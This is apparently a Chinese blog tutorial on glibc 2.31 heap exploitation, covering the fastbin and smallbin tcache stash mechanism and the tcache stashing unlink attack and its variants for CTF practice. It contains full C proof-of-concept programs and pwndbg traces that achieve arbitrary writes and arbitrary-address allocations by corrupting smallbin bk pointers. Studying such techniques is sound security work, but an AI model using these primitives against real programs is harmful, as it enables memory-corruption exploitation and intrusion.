以下示例的libc源码均为libc2.31.
fastbin的stash机制
这里分析一下对于fastbin的stash机制
if ((unsigned long)(nb) <= (unsigned long)(get_max_fast())) //size在fastbin范围内
{
idx = fastbin_index(nb);
mfastbinptr *fb = &fastbin(av, idx);
mchunkptr pp;
victim = *fb;
if (victim != NULL) //如果有chunk
{
if (SINGLE_THREAD_P)
*fb = victim->fd; //取出头chunk
else
REMOVE_FB(fb, pp, victim);
if (__glibc_likely(victim != NULL))
{
size_t victim_idx = fastbin_index(chunksize(victim));
if (__builtin_expect(victim_idx != idx, 0)) //对fastbin的size检查
malloc_printerr("malloc(): memory corruption (fast)");
check_remalloced_chunk(av, victim, nb);
//if USE_TCACHE,且看到此fastbin链表下,存在相同大小的bins(也就是一条chain),进行Stash。过程:把剩下的bins放入Tcache中
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx(nb);
if (tcache && tc_idx < mp_.tcache_bins) //如果属于tcache管辖范围
{
mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks. */
while (tcache->counts[tc_idx] < mp_.tcache_count && (tc_victim = *fb) != NULL) //只要tcache没满,并且fastbin还有chunk
{
if (SINGLE_THREAD_P) //从fastbin中取出
*fb = tc_victim->fd;
else
{
REMOVE_FB(fb, pp, tc_victim);
if (__glibc_unlikely(tc_victim == NULL))
break;
}
tcache_put(tc_victim, tc_idx);//放入tcache中
}
}
#endif
void *p = chunk2mem(victim);
alloc_perturb(p, bytes);
return p;
}
}
}
也就是比如当一个线程申请0x50大小的chunk时,如果tcache没有,那么就会进入分配区进行处理,如果对应bin中存在0x50的chunk,除了取出并返回之外,ptmalloc会认为这个线程在将来还需要相同的大小的chunk,因此就会把对应bin中0x50的chunk尽可能的放入tcache的对应链表中去。
Tcache Stashing 遇上 fastbin double free
假设有个double free可以触发,其用到fastbin上:
进行free 多次构成:
为了触发stash,先申请完tcache里的chunk,让其为空,(或者让其不满也可以)
然后再申请一下同size的chunk,就会触发stash。也是其精妙之处,在glibc2.27以下,往往是这样的构造:
主要由于fastbin 取出时,其会检查size是否相符合,导致很受限制。此时其基本就是可以攻击带有0x7f,去攻击libc上的内存。
但是有了stash这个机制,其就变成了以下的情况:
由于上来申请同size的chunk时触发了stash机制,其会把fastbin里剩下的chunk放入到tcache中。由于chunk 7的fd是可以控制的,写入tag地址,然后放入chain的chunk ,也就是chunk 8 、7 、tag 。这就相当于劫持了tcache chain,可以实现任意地址写。
相关例题
- bytectf2020 gun (libc2.31)
- 太湖杯 seven hero (libc2.29)
smallbin的stash机制
对于smallbin的stash机制:
if (in_smallbin_range (nb))
{
idx = smallbin_index (nb);
bin = bin_at (av, idx); //smallbin 从chain尾开始取到的chunk的fd位位 bin值 (根据 FIFO,即为最先放入的 Chunk)
if ((victim = last (bin)) != bin) //victim 即为刚刚取到的chunk
{
bck = victim->bk; //获取倒数第二个chunk
if (__glibc_unlikely (bck->fd != victim)) //验证双向链表是否正常
malloc_printerr ("malloc(): smallbin double linked list corrupted");
set_inuse_bit_at_offset (victim, nb);
bin->bk = bck;
bck->fd = bin;
//将 bin 的 bk 指向 victim 的后一个 Chunk,将 victim 后一个 Chunk 的 fd 指向 bin,即将 victim 取出
if (av != &main_arena)
set_non_main_arena (victim);
check_malloced_chunk (av, victim, nb);
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb); //获取对应size的tcache索引
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks over. */
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = last (bin)) != bin) //#define last(b) ((b)->bk) 也就是 tc_victim = bin->bk
{
if (tc_victim != 0)
{
bck = tc_victim->bk;
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck;
bck->fd = bin;
//将 bin 的 bk 指向 tc_victim 的后一个 Chunk,将 tc_victim 后一个 Chunk 的 fd 指向 bin,即将 tc_victim 取出
tcache_put (tc_victim, tc_idx);
}
}
}
#endif
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}
也就是在smallbin分配之后,如果smallbin链表中仍然存在堆块,并且对应的tcache list没有满chain的话,就会将small bin链表中所有的堆块放入到相应的tcache中。
当然要发生这种分配的方式,必须要越过tcache优先分配堆块,calloc的分配是不从tcache bin里取chunk的,即可满足。
下面跟着示例代码和glibc相关源码调试来学习一下:
tcache_stashing_unlink
示例代码
#include <stdio.h>
#include <stdlib.h>
#include <inttypes.h>
static uint64_t victim = 0;
int main(int argc, char **argv){
setbuf(stdout, 0);
setbuf(stderr, 0);
char *t1;
char *s1, *s2, *pad;
char *tmp;
printf("You can use this technique to write a big number to arbitrary address instead of unsortedbin attack\n");
printf("\n1. need to know heap address and the victim address that you need to attack\n");
tmp = malloc(0x1);
printf("victim's address: %p, victim's vaule: 0x%lx\n", &victim, victim);
printf("heap address: %p\n", tmp-0x260);
printf("\n2. choose a stable size and free six identical size chunks to tcache_entry list\n");
printf("Here, I choose the size 0x60\n");
for(int i=0; i<6; i++){
t1 = calloc(1, 0x50);
free(t1);
}
printf("Now, the tcache_entry[4] list is %p --> %p --> %p --> %p --> %p --> %p\n",
t1, t1-0x60, t1-0x60*2, t1-0x60*3, t1-0x60*4, t1-0x60*5);
printf("\n3. free two chunk with the same size like tcache_entry into the corresponding smallbin\n");
/* 将两个大小相同的块(如tcache_entry)释放到相应的smallbin中 */
s1 = malloc(0x420);
printf("Alloc a chunk %p, whose size is beyond tcache size threshold\n", s1);
pad = malloc(0x20);
printf("Alloc a padding chunk, avoid %p to merge to top chunk\n", s1);
free(s1);
printf("Free chunk %p to unsortedbin\n", s1);
malloc(0x3c0);
printf("Alloc a calculated size, make the rest chunk size in unsortedbin is 0x60\n");
malloc(0x100);
printf("Alloc a chunk whose size is larger than rest chunk size in unsortedbin, that will trigger chunk to other bins like smallbins\n");
printf("chunk %p is in smallbin[4], whose size is 0x60\n", s1+0x3c0);
printf("Repeat the above steps, and free another chunk into corresponding smallbin\n");
printf("A little difference, notice the twice pad chunk size must be larger than 0x60, or you will destroy first chunk in smallbin[4]\n");
s2 = malloc(0x420);
pad = malloc(0x80);
free(s2);
malloc(0x3c0);
malloc(0x100);
printf("chunk %p is in smallbin[4], whose size is 0x60\n", s2+0x3c0);
printf("smallbin[4] list is %p <--> %p\n", s2+0x3c0, s1+0x3c0);
printf("\n4. overwrite the first chunk in smallbin[4]'s bk pointer to &victim-0x10 address, the first chunk is smallbin[4]->fd\n");
printf("Change %p's bk pointer to &victim-0x10 address: 0x%lx\n", s2+0x3c0, (uint64_t)(&victim)-0x10);
*(uint64_t*)((s2+0x3c0)+0x18) = (uint64_t)(&victim)-0x10;
printf("\n5. use calloc to apply to smallbin[4], it will trigger stash mechanism in smallbin.\n");
calloc(1, 0x50);
printf("Finally, the victim's value is changed to a big number\n");
printf("Now, victim's value: 0x%lx\n", victim);
return 0;
}
编译命令
gcc -g ./tcache_stashing_unlink.c -o tcache_stashing_unlink
-g 编译是可以让gdb显示源码
调试过程
for(int i=0; i<6; i++){
t1 = calloc(1, 0x50);
free(t1);
}
(0x60) tcache_entry[4](6): 0x5555555594a0 --> 0x555555559440 --> 0x5555555593e0 --> 0x555555559380 --> 0x555555559320 --> 0x5555555592c0
先往tcache 中0x60的bin chain 上放入6个bin.。
接着将两个大小相同的块(如tcache_entry
)释放到相应的smallbin中。
s1 = malloc(0x420);
printf("Alloc a chunk %p, whose size is beyond tcache size threshold\n", s1);
pad = malloc(0x20);
printf("Alloc a padding chunk, avoid %p to merge to top chunk\n", s1);
free(s1);
printf("Free chunk %p to unsortedbin\n", s1);
pwndbg> heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x555555559950 (size : 0x206b0)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x5555555594f0 (size : 0x430)
malloc(0x3c0);
printf("Alloc a calculated size, make the rest chunk size in unsortedbin is 0x60\n");
malloc(0x100);
pwndbg> heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x555555559950 (size : 0x206b0)
last_remainder: 0x5555555598c0 (size : 0x60)
unsortbin: 0x5555555598c0 (size : 0x60)
(0x60) tcache_entry[4](6): 0x5555555594a0 --> 0x555555559440 --> 0x5555555593e0 --> 0x555555559380 --> 0x555555559320 --> 0x5555555592c0
可以看到0x5555555598c0是在last_remainder
之中的,由于其不会进入tcache的特性,就可以进入到smallbin中。
pwndbg> heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x555555559a60 (size : 0x205a0)
last_remainder: 0x5555555598c0 (size : 0x60)
unsortbin: 0x0
(0x060) smallbin[ 4]: 0x5555555598c0
(0x60) tcache_entry[4](6): 0x5555555594a0 --> 0x555555559440 --> 0x5555555593e0 --> 0x555555559380 --> 0x555555559320 --> 0x5555555592c0
接着重复这个步骤,在构造一个进入smallbin的chunk。
printf("Repeat the above steps, and free another chunk into corresponding smallbin\n");
printf("A little difference, notice the twice pad chunk size must be larger than 0x60, or you will destroy first chunk in smallbin[4]\n");
s2 = malloc(0x420);
pad = malloc(0x80); //防止合并的pad chunk,其必须大于0x60
free(s2);
malloc(0x3c0);
malloc(0x100);
pwndbg> heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x55555555a030 (size : 0x1ffd0)
last_remainder: 0x555555559e30 (size : 0x60)
unsortbin: 0x0
(0x060) smallbin[ 4]: 0x555555559e30 <--> 0x5555555598c0
(0x60) tcache_entry[4](6): 0x5555555594a0 --> 0x555555559440 --> 0x5555555593e0 --> 0x555555559380 --> 0x555555559320 --> 0x5555555592c0
可以看到已经完成构造了。接着进行change 0x555555559e30 的bk为目标地址-0x10。
*(uint64_t*)((s2+0x3c0)+0x18) = (uint64_t)(&victim)-0x10;
原始:
pwndbg> x/30gx 0x555555559e30
0x555555559e30: 0x0000000000000000 0x0000000000000061
0x555555559e40: 0x00005555555598c0 0x00007ffff7fb9c30
change 后:
pwndbg> x/30gx 0x555555559e30
0x555555559e30: 0x0000000000000000 0x0000000000000061
0x555555559e40: 0x00005555555598c0 0x0000555555558040
0x555555559e50: 0x0000000000000000 0x0000000000000000
再看下即将被calloc申请到的smallbin:
pwndbg> x/30gx 0x5555555598c0
0x5555555598c0: 0x0000000000000000 0x0000000000000061
0x5555555598d0: 0x00007ffff7fb9c30 0x0000555555559e30
calloc(1, 0x50);
其先会进行一个解链:
if (in_smallbin_range (nb))
{
idx = smallbin_index (nb);
bin = bin_at (av, idx);
if ((victim = last (bin)) != bin)
{
bck = victim->bk; //1
if (__glibc_unlikely (bck->fd != victim)) //2 明显是可以通过其双向链表的检查,会被正常的解链
malloc_printerr ("malloc(): smallbin double linked list corrupted");
set_inuse_bit_at_offset (victim, nb);
bin->bk = bck;
bck->fd = bin;
if (av != &main_arena)
set_non_main_arena (victim);
check_malloced_chunk (av, victim, nb);
接着会进行stash:
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks over. */
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = last (bin)) != bin)
{
if (tc_victim != 0)
{
bck = tc_victim->bk;
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck;
bck->fd = bin;
tcache_put (tc_victim, tc_idx);
}
}
可以看到这一块,并没有进行双向链表的检查。其中bck->fd = bin;
这个也就是对于 (&tag – 0x10) + 0x10 = bin。也就是将目标地址上的值赋为 bin,这样就实现了等价于 unsortedbin Attack 的操作。
pwndbg> x/30gx 0x0000555555558050
0x555555558050 <victim>: 0x00007ffff7fb9c30 0x0000000000000000
可以看到攻击已经成功。
0x60) tcache_entry[4](7): 0x555555559e40 --> 0x5555555594a0 --> 0x555555559440 --> 0x5555555593e0 --> 0x555555559380 --> 0x555555559320 --> 0x5555555592c0
且已经满chain,结束了stash的过程。
需要注意的是,刚才描述的放入过程是一个循环,我们将伪造的bck看成一个堆块,其bk很可能是一个非法的地址,这样就导致循环到下一个堆块时unlink执行到bck->fd = bin;
访问非法内存造成程序crash。所以开始,选择释放6个对应size的chunk到tcache bin,只为tcache留一个空间,这样循环一次就会跳出,不会有后续问题。
小总结
- 先放入 2 个 Chunk 到 smallbins,6 个 Chunk 到对应的 tcache;
- 然后在不破坏 fd 的情况下,将后放入 smallbins 的 chunk 的 bk 设置为目标地址减 0x10。
- 这样再用calloc向 smallbins 申请对应大小的 Chunk 时,先放入 smallbins 的 Chunk 被分配给用户,然后触发 stash 机制。
bck = tc_victim->bk;
此时的 bck 就是目标地址减 0x10,之后bck->fd = bin;
也就是将目标地址上的值赋为 bin,写上了main_arena
的地址,这样就实现了等价于 unsortedbin attack 的操作; - 之后再调用
tcache_put
把后放入 smallbins 的 Chunk 取出给对应的 tcache ,因为 tcache 之前已经被布置了 6 个 Chunk,在这次之后达到了阈值,所以也就退出了 stash 循环,整个流程就会正常结束。
tcache_stashing_unlink plus
示例代码
#include <stdio.h>
#include <stdlib.h>
#include <inttypes.h>
static uint64_t victim[4] = {0, 0, 0, 0};
int main(int argc, char **argv){
setbuf(stdout, 0);
setbuf(stderr, 0);
char *t1;
char *s1, *s2, *pad;
char *tmp;
printf("You can use this technique to get a tcache chunk to arbitrary address\n");
printf("\n1. need to know heap address and the victim address that you need to attack\n");
tmp = malloc(0x1);
printf("victim's address: %p, victim's vaule: [0x%lx, 0x%lx, 0x%lx, 0x%lx]\n",
&victim, victim[0], victim[1], victim[2], victim[3]);
printf("heap address: %p\n", tmp-0x260);
printf("\n2. change victim's data, make victim[1] = &victim, or other address to writable address\n");
//只要是一个可以写的指针地址即可,不一定是&victim
victim[1] = (uint64_t)(&victim);
printf("victim's vaule: [0x%lx, 0x%lx, 0x%lx, 0x%lx]\n",
victim[0], victim[1], victim[2], victim[3]);
printf("\n3. choose a stable size and free five identical size chunks to tcache_entry list\n");
printf("Here, I choose the size 0x60\n");
for(int i=0; i<5; i++){
t1 = calloc(1, 0x50);
free(t1);
}
printf("Now, the tcache_entry[4] list is %p --> %p --> %p --> %p --> %p\n",
t1, t1-0x60, t1-0x60*2, t1-0x60*3, t1-0x60*4);
printf("\n4. free two chunk with the same size like tcache_entry into the corresponding smallbin\n");
s1 = malloc(0x420);
printf("Alloc a chunk %p, whose size is beyond tcache size threshold\n", s1);
pad = malloc(0x20);
printf("Alloc a padding chunk, avoid %p to merge to top chunk\n", s1);
free(s1);
printf("Free chunk %p to unsortedbin\n", s1);
malloc(0x3c0);
printf("Alloc a calculated size, make the rest chunk size in unsortedbin is 0x60\n");
malloc(0x100);
printf("Alloc a chunk whose size is larger than rest chunk size in unsortedbin, that will trigger chunk to other bins like smallbins\n");
printf("chunk %p is in smallbin[4], whose size is 0x60\n", s1+0x3c0);
printf("Repeat the above steps, and free another chunk into corresponding smallbin\n");
printf("A little difference, notice the twice pad chunk size must be larger than 0x60, or you will destroy first chunk in smallbin[4]\n");
s2 = malloc(0x420);
pad = malloc(0x80);
free(s2);
malloc(0x3c0);
malloc(0x100);
printf("chunk %p is in smallbin[4], whose size is 0x60\n", s2+0x3c0);
printf("smallbin[4] list is %p <--> %p\n", s2+0x3c0, s1+0x3c0);
printf("\n5. overwrite the first chunk in smallbin[4]'s bk pointer to &victim-0x10 address, the first chunk is smallbin[4]->fd\n");
printf("Change %p's bk pointer to &victim-0x10 address: 0x%lx\n", s2+0x3c0, (uint64_t)(&victim)-0x10);
*(uint64_t*)((s2+0x3c0)+0x18) = (uint64_t)(&victim)-0x10;
printf("\n6. use calloc to apply to smallbin[4], it will trigger stash mechanism in smallbin.\n");
calloc(1, 0x50);
printf("Now, the tcache_entry[4] list is %p --> %p --> %p --> %p --> %p --> %p --> %p\n",
&victim, s2+0x3d0, t1, t1-0x60, t1-0x60*2, t1-0x60*3, t1-0x60*4);
printf("Apply to tcache_entry[4], you can get a pointer to victim address\n");
uint64_t *r = (uint64_t*)malloc(0x50);
r[0] = 0xaa;
r[1] = 0xbb;
r[2] = 0xcc;
r[3] = 0xdd;
printf("victim's vaule: [0x%lx, 0x%lx, 0x%lx, 0x%lx]\n",
victim[0], victim[1], victim[2], victim[3]);
return 0;
}
由于大多地方调试信息都相似,只分析一下重点处的相关信息:
重点调试过程
b 70
先断在源程序代码的第70行,下面紧跟着的是calloc.
看下内存信息:
被恶意chage的smallbin chunk:
pwndbg> x/30gx 0x555555559dd0
0x555555559dd0: 0x0000000000000000 0x0000000000000061
0x555555559de0: 0x0000555555559860 0x0000555555558050(tag-0x10)
即将被取走的smallbin chunk:
pwndbg> x/30gx 0x0000555555559860
0x555555559860: 0x0000000000000000 0x0000000000000061
0x555555559870: 0x00007ffff7fbac30 0x0000555555559dd0
接着si进入calloc内部,进入malloc.c:
pwndbg> b 3654
Breakpoint 3 at 0x7ffff7e69c87: file malloc.c, line 3655.
直接断在stash区进行分析:
第一轮的stash:
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks over. */
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = last (bin)) != bin) //#define last(b) ((b)->bk) 也就是 tc_victim = bin->bk
pwndbg> p tc_victim
$19 = (mchunkptr) 0x555555559dd0
pwndbg> x/30gx 0x555555559dd0
0x555555559dd0: 0x0000000000000000 0x0000000000000061
0x555555559de0: 0x00007ffff7fbac30 0x0000555555558050
{
if (tc_victim != 0)
{
bck = tc_victim->bk; //bck = tag-0x10
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck; //tag - 0x10 被写在bin->bk处
bck->fd = bin; //bin 被写在tag处
//将 bin 的 bk 指向 tc_victim 的后一个 Chunk,将 tc_victim 后一个 Chunk 的 fd 指向 bin,即将 tc_victim 取出
tcache_put (tc_victim, tc_idx);
}
}
pwndbg> x/30gx 0x0000555555558050
0x555555558050: 0x0000000000000000 0x0000000000000000
0x555555558060 <victim>: 0x00007ffff7fbac30 0x0000555555558060
0x555555558070 <victim+16>: 0x0000000000000000 0x0000000000000000
pwndbg> x/30gx 0x00007ffff7fbac30
0x7ffff7fbac30 <main_arena+176>: 0x00007ffff7fbac20 0x00007ffff7fbac20
0x7ffff7fbac40 <main_arena+192>: 0x0000555555559dd0 0x0000555555558050(tag - 0x10)
tcache 放入了 tc_victim = 0x555555559de0
(0x60) tcache_entry[4](6): 0x555555559de0 --> 0x555555559440 --> 0x5555555593e0 --> 0x555555559380 --> 0x555555559320 --> 0x5555555592c0
第二轮的stash:
重点攻击的是tc_victim
也就是目标地址。
pwndbg> p tc_victim
$21 = (mchunkptr) 0x555555558050
很明显最终目标也就是保证让tc_victim
放入tcache即可。观察代码,可以发现仅需要保证的也就是不要让程序crush。
if (tc_victim != 0)
{
//得保证目标地址chunk的bk为可写的指针
bck = tc_victim->bk; //tag-0x10->bk=bck =tag+8
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck;
bck->fd = bin; //保证一个可写的bck,程序即可正常的执行
//将 bin 的 bk 指向 tc_victim 的后一个 Chunk,将 tc_victim 后一个 Chunk 的 fd 指向 bin,即将 tc_victim 取出
tcache_put (tc_victim, tc_idx);
其得保证tc_victim->bk
是一个可写指针,此示例程序是&victim
,是其他的也是可以的。
pwndbg> x/30gx 0x555555558050
0x555555558050: 0x0000000000000000 0x0000000000000000
0x555555558060 <victim>: 0x00007ffff7fbac30 0x0000555555558060
0x555555558070 <victim+16>: 0x0000000000000000 0x0000000000000000
pwndbg> p bck
$22 = (mchunkptr) 0x555555558060 <victim>
执行完毕后,获得一个目标地址的chunk进入了tcache,也达到了阈值,也就退出了 stash 循环。
并且再次申请一下就得到一个目标地址的chunk。
(0x60) tcache_entry[4](7): 0x555555558060 --> 0x555555559de0 --> 0x555555559440 --> 0x5555555593e0 --> 0x555555559380 --> 0x555555559320 --> 0x5555555592c0
小总结
- 先放入 2 个 Chunk 到 Smallbins,5 个 Chunk 到对应的 tcache
- 在不破坏 fd 的情况下,将后放入 Smallbins 的 Chunk 的 bk 设置为目标地址减 0x10,同时要将目标地址加 0x8 处的值设置为一个指向一处可写内存的指针;
- 接着用calloc触发stash 机制,会将后放入 Smallbins 的 Chunk 被放入 tcache,此时的 bin->bk 就是目标地址减 0x10,相当于把目标地址减 0x10 的指针链接进了 smallbins 中。
- 之后不满足终止条件,会进行下一次的 stash,这时的
tc_victim
就是目标地址。接下来由于原来的设置,目标地址加 0x8 处的指针是一个可写指针,保证stash流程正常走完。 - 最后目标地址就会被放入
tcache_entry
的头部,stash 满足终止条件而终止。
重点在攻击最后一个进入smallbin的bk指针,让其指向目标地址-0x10的地方,并且保证目标地址+8的位置为一个可写的指针。
tcache_stashing_unlink plus plus
也就是可以同时实现上面的2个功能。
- 任意地址分配一个chunk
- 任意地址写入一个
main_arena
附近的值
示例代码
#include <stdio.h>
#include <stdlib.h>
#include <inttypes.h>
static uint64_t victim[4] = {0, 0, 0, 0};
static uint64_t victim2 = 0;
int main(int argc, char **argv){
setbuf(stdout, 0);
setbuf(stderr, 0);
char *t1;
char *s1, *s2, *pad;
char *tmp;
printf("You can use this technique to get a tcache chunk to arbitrary address, at the same time, write a big number to arbitrary address\n");
printf("\n1. need to know heap address, the victim address that you need to get chunk pointer and the victim address that you need to write a big number\n");
tmp = malloc(0x1);
printf("victim's address: %p, victim's vaule: [0x%lx, 0x%lx, 0x%lx, 0x%lx]\n",
&victim, victim[0], victim[1], victim[2], victim[3]);
printf("victim2's address: %p, victim2's value: 0x%lx\n",
&victim2, victim2);
printf("heap address: %p\n", tmp-0x260);
printf("\n2. change victim's data, make victim[1] = &victim2-0x10\n");
victim[1] = (uint64_t)(&victim2)-0x10;
printf("victim's vaule: [0x%lx, 0x%lx, 0x%lx, 0x%lx]\n",
victim[0], victim[1], victim[2], victim[3]);
printf("\n3. choose a stable size and free five identical size chunks to tcache_entry list\n");
printf("Here, I choose the size 0x60\n");
for(int i=0; i<5; i++){
t1 = calloc(1, 0x50);
free(t1);
}
printf("Now, the tcache_entry[4] list is %p --> %p --> %p --> %p --> %p\n",
t1, t1-0x60, t1-0x60*2, t1-0x60*3, t1-0x60*4);
printf("\n4. free two chunk with the same size like tcache_entry into the corresponding smallbin\n");
s1 = malloc(0x420);
printf("Alloc a chunk %p, whose size is beyond tcache size threshold\n", s1);
pad = malloc(0x20);
printf("Alloc a padding chunk, avoid %p to merge to top chunk\n", s1);
free(s1);
printf("Free chunk %p to unsortedbin\n", s1);
malloc(0x3c0);
printf("Alloc a calculated size, make the rest chunk size in unsortedbin is 0x60\n");
malloc(0x100);
printf("Alloc a chunk whose size is larger than rest chunk size in unsortedbin, that will trigger chunk to other bins like smallbins\n");
printf("chunk %p is in smallbin[4], whose size is 0x60\n", s1+0x3c0);
printf("Repeat the above steps, and free another chunk into corresponding smallbin\n");
printf("A little difference, notice the twice pad chunk size must be larger than 0x60, or you will destroy first chunk in smallbin[4]\n");
s2 = malloc(0x420);
pad = malloc(0x80);
free(s2);
malloc(0x3c0);
malloc(0x100);
printf("chunk %p is in smallbin[4], whose size is 0x60\n", s2+0x3c0);
printf("smallbin[4] list is %p <--> %p\n", s2+0x3c0, s1+0x3c0);
printf("\n5. overwrite the first chunk in smallbin[4]'s bk pointer to &victim-0x10 address, the first chunk is smallbin[4]->fd\n");
printf("Change %p's bk pointer to &victim-0x10 address: 0x%lx\n", s2+0x3c0, (uint64_t)(&victim)-0x10);
*(uint64_t*)((s2+0x3c0)+0x18) = (uint64_t)(&victim)-0x10;
printf("\n6. use calloc to apply to smallbin[4], it will trigger stash mechanism in smallbin.\n");
calloc(1, 0x50);
printf("Now, the tcache_entry[4] list is %p --> %p --> %p --> %p --> %p --> %p --> %p\n",
&victim, s2+0x3d0, t1, t1-0x60, t1-0x60*2, t1-0x60*3, t1-0x60*4);
printf("Apply to tcache_entry[4], you can get a pointer to victim address\n");
uint64_t *r = (uint64_t*)malloc(0x50);
r[0] = 0xaa;
r[1] = 0xbb;
r[2] = 0xcc;
r[3] = 0xdd;
printf("victim's vaule: [0x%lx, 0x%lx, 0x%lx, 0x%lx]\n",
victim[0], victim[1], victim[2], victim[3]);
printf("victim2's value: 0x%lx\n",
victim2);
return 0;
}
调试过程
基本跟第2个一样,断点还是断在相似的位置,然后分析相关位置的代码即可。
调试完成发现,其跟第二个十分相似,只是在第二个中保证的是:目标地址+8
为一个可写的地址即可。然而想要实现一个地方写入一个巨大的main_arena
附近的值,只需把目标地址+8
为这个地方-0x10即可。
bck->fd = bin;
小总结
重点操作在:
- 将 Smallbins 里的后一个进入的chunk的 bk 设置为目标地址 1 减 0x10。
- 将目标地址 1 加 0x8 的位置设置为目标地址 2 减 0x10。
这样就可以分配到目标地址 1的chunk,同时向目标地址 2 写入一个大数字。
相关例题
2019-HITCON-one_punch_man
2019-HITCON-lazyhouse
2020-XCTF-GXZY-twochunk
BUUCTF 新春红包3
发表评论
您还未登录,请先登录。
登录